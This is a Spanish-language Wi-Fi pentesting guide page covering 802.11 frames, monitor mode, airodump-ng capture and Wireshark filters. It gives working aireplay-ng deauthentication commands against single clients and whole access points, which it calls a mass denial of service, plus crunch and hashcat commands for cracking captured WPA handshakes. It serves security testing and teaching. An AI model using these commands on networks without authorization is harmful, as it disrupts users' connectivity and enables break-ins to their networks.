# Redes Wi-Fi

{% hint style="info" %}
Como se van a trabajar con múltiples tarjetas de red, como todos los comandos tienen una versión con variables, para que sea más fácil y rápido modificar la información.&#x20;
{% endhint %}

## Conceptos generales

### Esquemas de red Wi-Fi

{% columns %}
{% column %}

<figure><img src="https://940481291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFPk1C70Fp5SRurFLmfzj%2Fuploads%2Fskwilr3hhwtFEQddJU90%2Fdiagrama_red_domestica.png?alt=media&#x26;token=52e02b84-8ec0-40af-9cf3-bd16a3836473" alt=""><figcaption><p>Red doméstica</p></figcaption></figure>
{% endcolumn %}

{% column %}

<figure><img src="https://940481291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFPk1C70Fp5SRurFLmfzj%2Fuploads%2FSwMatfe6eiIQAW6s0rs8%2Fdiagrama_red_corporativa.png?alt=media&#x26;token=a314897f-28d8-4435-a424-b33be4f3433b" alt=""><figcaption><p>Red corporativa</p></figcaption></figure>
{% endcolumn %}
{% endcolumns %}

### Estándar IEEE 802.11

El estándar IEEE 802.11 define cómo se empaqueta y transmite la información en redes inalámbricas. Estas unidades de datos se llaman tramas. Comprenderlas es crucial, ya que muchos ataques (como la deautenticación) se basan en crear y falsificar estas tramas para manipular la red.

Todas las comunicaciones 802.11 se basan en una estructura fundamental: la trama MAC. Esta estructura actúa como un contenedor que transporta la información necesaria para que los datos lleguen a su destino.

#### Campos de tramas MAC

Una trama MAC típica consta de los siguientes campos clave:

<table><thead><tr><th width="156.22222900390625">Campo</th><th>Descripción</th></tr></thead><tbody><tr><td>Frame Control</td><td>Contiene metadatos vitales: tipo y subtipo de trama, versión del protocolo, y flags que indican la dirección del tráfico (hacia/desde el sistema de distribución), si está fragmentado, etc.</td></tr><tr><td>Duration/ID</td><td>Indica el tiempo que el medio inalámbrico estará ocupado transmitiendo la trama y su acuse de recibo (ACK), ayudando a evitar colisiones.</td></tr><tr><td>Direcciones (1-4)</td><td>Especifican las direcciones MAC involucradas. Su significado varía según el tipo de trama, pero suelen incluir la MAC del transmisor, receptor, el BSSID del Punto de Acceso (AP), etc.</td></tr><tr><td>Sequence Control</td><td>Un número de secuencia para ordenar las tramas y detectar duplicados.</td></tr><tr><td>Data (Payload)</td><td>El contenido real que se está transmitiendo (datos del usuario, información de gestión, etc.).</td></tr><tr><td>CRC (FCS)</td><td><em>Frame Check Sequence</em>. Una suma de comprobación de 32 bits para verificar que la trama no se haya corrompido durante el viaje.</td></tr></tbody></table>

#### Tipos de tramas

Las tramas 802.11 se dividen en tres categorías principales según su función:

1. Management (Tipo 00): Son los "jefes" de la red. Gestionan la conexión, autenticación y asociación entre clientes y APs. Son nuestro principal foco en pentesting.
2. Control (Tipo 01): Son los "policías de tráfico". Ayudan a la entrega de las tramas de datos, asegurando el medio (RTS/CTS) y confirmando la recepción (ACK).
3. Data (Tipo 10): Son los "transportistas". Llevan los datos reales de las aplicaciones de los usuarios.

Para las pruebas de penetración de Wi-Fi, nos centramos principalmente en los marcos de gestión, ya que controlan la vida de la conexión. Analicemos los subtipos más relevantes y sus funciones.

*Si buscamos filtrarlos en Wireshark, especificaríamos el tipo general `00` seguido del subtipo específico.*

El punto de acceso utiliza principalmente las tramas de baliza ("faros") para comunicar su presencia. Son el "latido" de la red. Incluyen información crítica como el SSID (nombre de la red), los cifrados compatibles, los tipos de autenticación y las velocidades de datos admitidas.

Este proceso permite a los clientes descubrir puntos de acceso cercanos de forma activa.

* Probe Request: Independientemente de si una red está oculta o no, un cliente envía una solicitud de sondeo (a veces buscando un SSID específico).
* Probe Response: El punto de acceso responde con información sobre sí mismo para que el cliente pueda decidir si conectarse.

Son los primeros pasos formales para unirse a la red. El cliente envía una solicitud al AP para iniciar el proceso. Estas tramas se utilizan principalmente para identificar al cliente ante el punto de acceso (en sistemas abiertos, es un mero trámite antes de la asociación).

Tras el proceso de autenticación inicial, el cliente envía una solicitud de asociación para unirse a la red lógica. El AP responde con una respuesta de asociación indicando si el cliente puede asociarse o no. Una vez asociado, el cliente es parte de la red.

Estas son las tramas de "ruptura". Se envían para terminar la conexión entre el AP y el cliente.

* Son críticas para los pentesters: contienen un código de motivo (reason code) que indica por qué se desconecta al cliente.
* Uso ofensivo: Falsificamos estas tramas para realizar ataques de denegación de servicio (DoS) y para forzar la desconexión de clientes, obligándolos a reconectarse y así capturar el handshake de seguridad (como el WPA2 de 4 vías).

#### Ciclo de común de conexión

Ahora que hemos revisado las piezas, veamos cómo encajan. El ciclo de conexión típico (centrándonos en una autenticación WPA2 básica) sigue esta secuencia:

1. Descubrimiento pasivo/activo: El cliente escucha Beacon Frames o envía Probe Requests y recibe Probe Responses.
2. Autenticación 802.11: Intercambio de Authentication Request y Response.
3. Asociación: Intercambio de Association Request y Response.
4. Autenticación de Seguridad (Handshake): Si la red es segura (WPA/WPA2), aquí ocurre el intercambio de claves (EAPOL Handshake).
5. Conexión establecida: Transferencia de datos.
6. Terminación: Envío de Disassociation o Deauthentication.

#### Tabla del protocolo Wi-Fi IEEE 802.1 <a href="#tabla-del-protocolo-wi-fi-ieee-802.1" id="tabla-del-protocolo-wi-fi-ieee-802.1"></a>

| Protocolo / Banda  | Frecuencia  | Ancho del canal     |
| ------------------ | ----------- | ------------------- |
| 802.11ax           | 2,4 o 5 GHz | 20, 40, 80, 160 MHz |
| 802.11ac wave2     | 5 GHz       | 20, 40, 80, 160 MHz |
| 802.11ac wave1     | 5 GHz       | 20, 40, 80 MHz      |
| 802.11n            | 2,4 o 5 GHz | 20, 40 MHz          |
| 802.11g            | 2,4 GHz     | 20 MHz              |
| 802.11a            | 5 GHz       | 20 MHz              |
| 802.11b            | 2,4 GHz     | 20 MHz              |
| Tradicional 802.11 | 2,4 GHz     | 20 MHz              |

#### Seguridad en redes inalámbricas <a href="#seguridad-en-redes-inalambricas" id="seguridad-en-redes-inalambricas"></a>

Las redes inalámbricas pueden contar con diferentes tipos de seguridad, ante los cuales, variarán los ataques a realizar.

* WPS.
* WEP.&#x20;
* WPA.
* WPA2/WPA3 Personal.
* WPA2/WPA3 Enterprise.

<figure><img src="https://940481291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFPk1C70Fp5SRurFLmfzj%2Fuploads%2FRwMtemADNzvQaXaI66Tz%2Fredes.png?alt=media&#x26;token=f3beea3a-45e9-43a6-85e5-ff0009f1f960" alt=""><figcaption></figcaption></figure>

## <mark style="color:red;">Comandos generales</mark>

Para mostrar información sobre las interfaces de red y wifi:

```bash
ip a
ip link show
iwconfig
```

<figure><img src="https://940481291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFPk1C70Fp5SRurFLmfzj%2Fuploads%2FRkYXSOXDIuey0MHreKSj%2FPasted%20image%2020220817140352.png?alt=media&#x26;token=81633c29-ef24-4b28-beb2-308f10c8d0f0" alt=""><figcaption></figcaption></figure>

### Modo monitor

{% hint style="warning" %}
Para la gran mayoría de las pruebas, es **necesario tener la interfaz de red en modo monitor** y para ello será necesario **utilizar una tarjeta wifi compatible** con ello.
{% endhint %}

El modo monitor permite **capturar paquetes**, de esta forma, es posible obtener información de los puntos de acceso y clientes conectados, entre otros detalles.

{% hint style="warning" %}
Para realizar la captura de paquetes, es necesario cambiar la interfaz a modo *monitor* (o modo promiscu&#x6F;*)*. Por defecto, se suele encontrar en modo *managed*.
{% endhint %}

Para cambiar el modo de una interfaz, por ejemplo, la **wlan0** a **modo monitor**, se realizarán las siguientes acciones:

1. Tomar como variable **IFACE** el nombre de la interfaz de red que se quiera modificar. (ej: wlan0)
2. Deshabilitar la interfaz de red.
3. Cerrar (mata 🔪🔪🔪) los procesos de red (sí, te vas a quedar sin internet 🕯️ asegurate de haber instalado antes las herramientas que necesitarás).
4. Cambiar la interfaz a modo *monitor*.
5. Habilitar la interfaz de red.
6. Mostar información de las interfaces de red inalámbricas.

{% hint style="info" %}
Por ejemplo, si las redes o SSIDs se encuentran en bandas de 2,4Ghz o 5Ghz, deberemos modificar la configuración de nuestra tarjeta para que trabaje con esa banda y canales correspondientes.
{% endhint %}

A continuación, se detallan los comandos de acuerdo a las bandas con las que se desee trabajar:

**2,4Ghz**

{% tabs %}
{% tab title="ip" %}

```bash
IFACE=wlan0
ip link set $IFACE down
airmon-ng check kill
iw $IFACE set monitor none
iw dev $IFACE set txpower fixed 3000
ip link set $IFACE up
iw dev
```

{% endtab %}

{% tab title="ifconfig" %}

```bash
IFACE=wlan0
ifconfig $IFACE down
airmon-ng check kill
iwconfig $IFACE mode monitor
ifconfig $IFACE up
iwconfig
```

{% endtab %}
{% endtabs %}

**5Ghz**

{% tabs %}
{% tab title="ip" %}

```bash
IFACE=wlan0
ip link set $IFACE down
airmon-ng check kill
iw $IFACE set monitor none
iw dev $IFACE set txpower fixed 3000
iw dev $IFACE set freq 5180
ip link set $IFACE up
iw dev
```

{% endtab %}

{% tab title="ifconfig" %}

```bash
IFACE=wlan0
CH=108
ifconfig $IFACE down
airmon-ng check kill
iwconfig $IFACE mode monitor
iwconfig $IFACE channel $CH
ifconfig $IFACE up
iwconfig
```

{% endtab %}
{% endtabs %}

### Modo managed

{% tabs %}
{% tab title="ip" %}

```bash
IFACE=wlan0
ip link set $IFACE down
iw $IFACE set type managed
ip link set $IFACE up
iw dev
```

{% endtab %}

{% tab title="ifconfig" %}

```bash
IFACE=wlan0
service network-manager start
ifconfig $IFACE down
iwconfig $IFACE mode managed
ifconfig $IFACE up
iwconfig
```

{% endtab %}
{% endtabs %}

## <mark style="color:red;">Captura de paquetes</mark>

### Captura básica

Se capturan paquetes utilizando la interfaz de red en cuestión (IFACE) y se guarda la información en un fichero **pcap** que luego se podrá abrir con **wireshark**.

{% code overflow="wrap" %}

```bash
IFACE=wlan0
PCAP=captura
airodump-ng $IFACE --write $PCAP
```

{% endcode %}

{% hint style="info" %}
Si el nombre del pcap ya existe, se crea un fichero con el mismo nombre seguido de una numeración ascendente, evitando sobreescribir capturas que hayamos realizado anteriormente.
{% endhint %}

### Captura en una banda en concreto

* Banda `a`:

{% code overflow="wrap" %}

```bash
IFACE=wlan0
BAND=a
airodump-ng --band $BAND $IFACE
```

{% endcode %}

* Bandas `a`, `b` y `g`:

{% code overflow="wrap" %}

```bash
IFACE=wlan0
BAND=abg
airodump-ng --band $BAND $IFACE
```

{% endcode %}

### Captura de un ESSID en concreto

Es posible capturar paquetes de un ESSID en concreto haciendo uso de expresiones regulares, esto permitirá focalizar la captura de paquetes en los SSID que tengamos dentro del alcance y guardar la información en un fichero **pcap** que luego se podrá abrir con **wireshark**.

{% code overflow="wrap" %}

```bash
IFACE=wlan0
PCAP=captura
REGEX=WIFI_*
airodump-ng $IFACE --write $PCAP --essid-regex $REGEX
```

{% endcode %}

{% hint style="info" %}
Por ejemplo, el comando anterior, realizará una captura utilizando la interfaz **wlan0** de todas aquellas redes cuyo SSID coincida con la expresión regular indicada (**WIFI\_WTF, WIFI\_OMG, etc.**) y guardará la información en un fichero llamado **captura**.
{% endhint %}

### Captura de un BSSID en concreto

Tras realizar una primera captura básica donde se pueden observar las redes que se encuentran alrededor, se identifica el/los BSSID (MAC) de la red objetivo y el canal, para realizar una captura solo de información de dicha red (para capturar solo lo que nos interesa y omitir redes fuera del alcance).

Por ejemplo:

{% code overflow="wrap" %}

```bash
airodump-ng --bssid <MAC del router> --channel <canal en el que se emite> --write <fichero pcap> <interfaz>
airodump-ng --bssid 00:11:22:33:44:55 --channel 6 --write output wlan0
```

{% endcode %}

Lo mismo, pero con variables:

<pre class="language-bash" data-overflow="wrap"><code class="lang-bash"><strong>IFACE=wlan0
</strong>BSSID=00:11:22:33:44:55
CH=6
PCAP=captura
airodump-ng --bssid $BSSID --channel $CH --write $PCAP $IFACE
</code></pre>

## <mark style="color:red;">Análisis de paquetes</mark>

### Wireshark

Tras capturar tráfico en modo monitor, podemos usar estos filtros de visualización en Wireshark:

#### Beacon Frames (AP)

Las tramas Beacon (baliza) provenientes del punto de acceso se pueden identificar usando el siguiente filtro de Wireshark:

```bash
(wlan.fc.type == 0) && (wlan.fc.type_subtype == 8)
```

#### Probe Request (Cliente)

Las tramas de solicitud de sondeo (Probe Request) provenientes del cliente se pueden identificar usando el siguiente filtro de Wireshark:

```bash
(wlan.fc.type == 0) && (wlan.fc.type_subtype == 4)
```

#### Probe Response (AP)

Las tramas de respuesta de sondeo (Probe Response) provenientes del punto de acceso se pueden identificar usando el siguiente filtro de Wireshark:

```bash
(wlan.fc.type == 0) && (wlan.fc.type_subtype == 5)
```

#### Autenticación

El proceso de autenticación entre el cliente y el punto de acceso se puede observar usando el siguiente filtro de Wireshark:

```bash
(wlan.fc.type == 0) && (wlan.fc.type_subtype == 11)
```

#### Association Request (Cliente)

Una vez completado el proceso de autenticación, la solicitud de asociación de la estación (cliente) se puede ver usando el siguiente filtro de Wireshark:

```bash
(wlan.fc.type == 0) && (wlan.fc.type_subtype == 0)
```

#### Association Response (AP)

La respuesta de asociación del punto de acceso se puede ver usando el siguiente filtro de Wireshark:

```bash
(wlan.fc.type == 0) && (wlan.fc.type_subtype == 1)
```

#### WPA2 Handshake (EAPOL)

Si la red de ejemplo utiliza WPA2, las tramas EAPOL (el handshake) se pueden ver usando el siguiente filtro de Wireshark:

```
eapol
```

#### Desconexión (Deauth/Disassoc)

Una vez que el proceso de conexión se ha completado, la terminación de la conexión se puede visualizar identificando qué parte (cliente o punto de acceso) inició la desconexión. Esto se puede hacer usando el siguiente filtro de Wireshark para capturar tramas de Disociación (10) o tramas de Desautenticación (12):

```bash
(wlan.fc.type == 0) && ((wlan.fc.type_subtype == 12) || (wlan.fc.type_subtype == 10))
```

## <mark style="color:red;">Deautenticación</mark>

> Desconectar a todo el mundo o un cliente en específico (ESSID) de un AP.

Para la realización de la mayoría de ataques, cuando no podamos capturar conexiones nuevas en la red, será muy útil realizar un ataque de deautenticación controlado contra clientes de la red objetivo con el fin de desconectar a un usuario/cliente de la red objetivo y capturar la información de autenticación de dicho usuario de acuerdo a la seguridad de la red en cuestión.

Por ejemplo, si la red tiene:

* **WPA-PSK:** Se fuerza al usuario a deautenticarse de la red, podremos capturar el handshake.
* **WPA-MGT:** Se fuerza al usuario a deautenticarse y se capturan credenciales con un AP falso.

{% hint style="success" %}
Si se quiere evitar realizar ataques de deautenticación, es recomendable capturar paquetes antes de que se realicen nuevas conexiones, por ejemplo, al comienzo de la jornada habitual de los trabajadores o al volver de la hora de comida. Para ello, bien se puede madrugar, o dejar una raspberry PI capturando handshakes y/o un AP falso (aquí es donde empieza a ser útil tener mínimo dos tarjetas de red y, además, cuenten con soporte de la frecuencia del AP más cercano a la posición del dispositivo de ataque).
{% endhint %}

### Deautenticación simple

Para realizar un ataque de deautenticación, es necesario conocer:

* La MAC del AP del SSID (red objetivo) del cuál se quiere obtener el *handshake*.
* La MAC de un cliente que se encuentre conectado a dicho AP.

Esta información se puede obtener de la siguiente forma:

1. Realizar una captura básica para obtener información de las redes cercanas. [\[Captura básica\]](#captura-basica)
2. Obtener la MAC de la red objetivo. [\[Captura de un ESSID en concreto\]](#captura-de-un-essid-en-concreto)
3. Realizar una captura del AP con la MAC obtenida. [\[Captura de un BSSID en concreto\]](#captura-de-un-bssid-en-concreto)
4. Seleccionar la MAC del cliente que se desea deautenticar.
5. Utilizar airplay-ng para deautenticar al usuario, repetir todas las veces que se considere necesarias para obtener el *handshake* o credenciales. Si no se consigue obtener un *handshake*, ponerse en medio o acercarse al cliente objetivo.
6. Obtención del *handshake* o credenciales.

De acuerdo a los pasos mencionados anteriormente:

1. Capturar de redes cercanas o directamente nuestra red objetivo:

{% code overflow="wrap" %}

```bash
IFACE=wlan0
PCAP=captura
REGEX=WIFI_*
airodump-ng $IFACE --write $PCAP --essid-regex $REGEX
```

{% endcode %}

2. Conociendo la MAC (BSSID) de la red objetivo, se realiza una captura de paquetes de dicha red. Aquí pueden pasar dos cosas:
   * Se realiza una nueva conexión por parte del cliente y se consigue capturar el *handshake* o credenciales.
   * Forzamos la nueva conexión del cliente usando la MAC del dispositivo que se quiera deautenticar para capturar el *handshake* en cuanto se intente conectar al AP (ir al punto 3).

{% code overflow="wrap" %}

```bash
IFACE=wlan0
BSSID=00:11:22:33:44:55
CH=6
PCAP=captura
airodump-ng --bssid $BSSID --channel $CH --write $PCAP $IFACE
```

{% endcode %}

3. Se realiza la deautenticación del cliente objetivo mientras se capturan paquetes del AP (BSSID) o red (ESSID) en cuestión.
   1. Si se conoce que solo hay un AP en la red, será interesante hacerlo solo de este o del AP más cercano a nuestra posición, esto se puede saber por la potencia de la señal.
   2. En cambio, si la red tiene múltiples AP's, será interesante realizar una captura del ESSID, con el fin de abarcar todos los AP's correspondientes a la red objetivo y tener mayor probabilidad de capturar el *handshake*.

Mientras se realiza una captura del AP o red (con el comando del punto 2), desde otra terminal se ejecuta el siguiente comando para forzar la deautenticación del cliente:

{% code overflow="wrap" %}

```bash
aireplay-ng --deauth <segundos de desconexión> -a <bssid de la red> -c <dispositivo a desconectar> <interfaz>
aireplay-ng --deauth 4 -a 00:11:22:33:44:55 -c 55:44:33:22:11:00 wlan0 --ignore-negative-one 
```

{% endcode %}

Lo mismo, con variables:

{% code overflow="wrap" %}

```bash
IFACE=wlan0
DEAUTH=4
BSSID=00:11:22:33:44:55
MACVICTIM=55:44:33:22:11:00
aireplay-ng --deauth $DEAUTH -a $BSSID -c $MACVICTIM $IFACE --ignore-negative-one 
```

{% endcode %}

4. Realizar la deautenticación hasta obtener un *handshake* o credenciales. Si no se consigue un resultado favorable, habrá que colocarse físicamente entre el AP y la víctima, a mayor cercanía, más probabilidades de capturar los paquetes.

### Deautenticación múltiple

Si se realiza la deautenticación anterior para múltiples usuarios, se puede causar una denegación de servicio en masa.

```bash
IFACE=wlan0
DEAUTH=10
BSSID=00:11:22:33:44:55
aireplay-ng -0 $DEAUTH -a $BSSID $IFACE
```

## Obtener nombres de redes ocultas - Hidden SSIDs

Es posible obtener el nombre de redes ocultas si se capturan paquetes de conexiones de clientes a esta red.

Por ejemplo, se identifican las redes disponibles, y posteriormente, se capturan paquetes del BSSID del que se desee obtener el nombre.

```bash
IFACE=wlan0
airodump-ng $IFACE
```

```bash
IFACE=wlan0
CH=6
BSSID=00:11:22:33:44:55
airodump-ng --bssid $BSSID --channel $CH $IFACE
```

Una vez se conecte un usuario, bien de forma trivial o por medio de forzar una nueva conexión deautenticando al usuario, se obtendrá el nombre de la red.

## <mark style="color:red;">Cracking</mark>

### Diccionarios

#### Crunch

{% code overflow="wrap" %}

```bash
crunch 16 16 abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890 -t @@@@@@@@@@@@@@@@ -o wordlist
```

{% endcode %}

### Hashcat

Para el cracking de contraseñas desde los pcap capturados, se puede realizar un:

* Ataque por diccionario.
* Ataque de fuerza bruta.

Para el ataque por diccionario:

{% code overflow="wrap" %}

```bash
hashcat -m 22000 hash.hc22000 wordlist.txt
```

{% endcode %}

Para el ataque por fuerza bruta:

{% code overflow="wrap" %}

```bash
hashcat -m 22000 hash.hc22000 -a 3 ?d?d?d?d?d?d?d?d
hashcat -m 22000 hash.hc22000 -a 3 --increment --increment-min 8 --increment-max 12 ?d?d?d?d?d?d?d?d?d?d?d?d
```

{% endcode %}

Una vez se obtenga la contraseña, se puede visualizar con el siguiente comando:

{% code overflow="wrap" %}

```bash
hashcat -m 22000 hash.hc22000 --show
```

{% endcode %}

## <mark style="color:red;">Resumen de ataques</mark>

* \[DoS] Denegación de servicio.&#x20;
  * Ataque de deautenticación.
  * Saturación de APs.
* \[Cracking] Fuerza bruta.
  * WEP.
  * WPA-PSK.
    * Captura de handshake (4-way).
      * Nueva conexión.
      * Deautenticación.
    * Captura de PMKID.
    * WPS pin.
  * WPA-MGT.
    * Captura de nombres de usuario.
    * Fuerza bruta para obtención de credenciales.
* \[Fake AP] AP falso.
  * Red abierta.
    * Portal cautivo y captura de credenciales.
  * WPA-PSK.
    * Captura de handshake y cracking.
  * WPA-MGT.
    * Captura de credenciales corporativas.
    * Captura de nombres de usuarios.
    * Captura y falsificación de certificados.
* \[Otros] KARMA, MANA, Loud Mana, Known beacon.
  * Red abierta.
    * Portal cautivo y captura de credenciales.
  * WPA.
    * Captura de handshake.

Para la adaptación de los ataques de acuerdo a la casuística con la que nos encontremos y la seguridad de las redes objetivo, es muy útil utilizar el siguiente mapa para determinar el flujo de ataque y llevar un mejor control de las pruebas:

<https://github.com/koutto/pi-pwnbox-rogueap/blob/main/mindmap/WiFi-Hacking-MindMap-v1.pdf>

<figure><img src="https://raw.githubusercontent.com/koutto/pi-pwnbox-rogueap/main/mindmap/WiFi-Hacking-MindMap-v1.png" alt=""><figcaption><p>Wifi Hacking Mindmap</p></figcaption></figure>

### WEP

{% content-ref url="redes-wi-fi/wep" %}
[wep](https://www.xtormin.com/pentesting-en-infraestructuras/redes-wi-fi/wep)
{% endcontent-ref %}

### WPA/WPA2-PSK

{% content-ref url="redes-wi-fi/wpa2-psk-red-personal" %}
[wpa2-psk-red-personal](https://www.xtormin.com/pentesting-en-infraestructuras/redes-wi-fi/wpa2-psk-red-personal)
{% endcontent-ref %}

### WPA/WPA2-MGT

{% content-ref url="redes-wi-fi/wpa2-mgt-red-corporativa" %}
[wpa2-mgt-red-corporativa](https://www.xtormin.com/pentesting-en-infraestructuras/redes-wi-fi/wpa2-mgt-red-corporativa)
{% endcontent-ref %}

### WPA3

{% content-ref url="redes-wi-fi/wpa3" %}
[wpa3](https://www.xtormin.com/pentesting-en-infraestructuras/redes-wi-fi/wpa3)
{% endcontent-ref %}

## <mark style="color:red;">Referencias</mark>

* <https://github.com/koutto/pi-pwnbox-rogueap/blob/main/mindmap/WiFi-Hacking-MindMap-v1.pdf>
* <https://github.com/ricardojoserf/wifi-pentesting-guide>
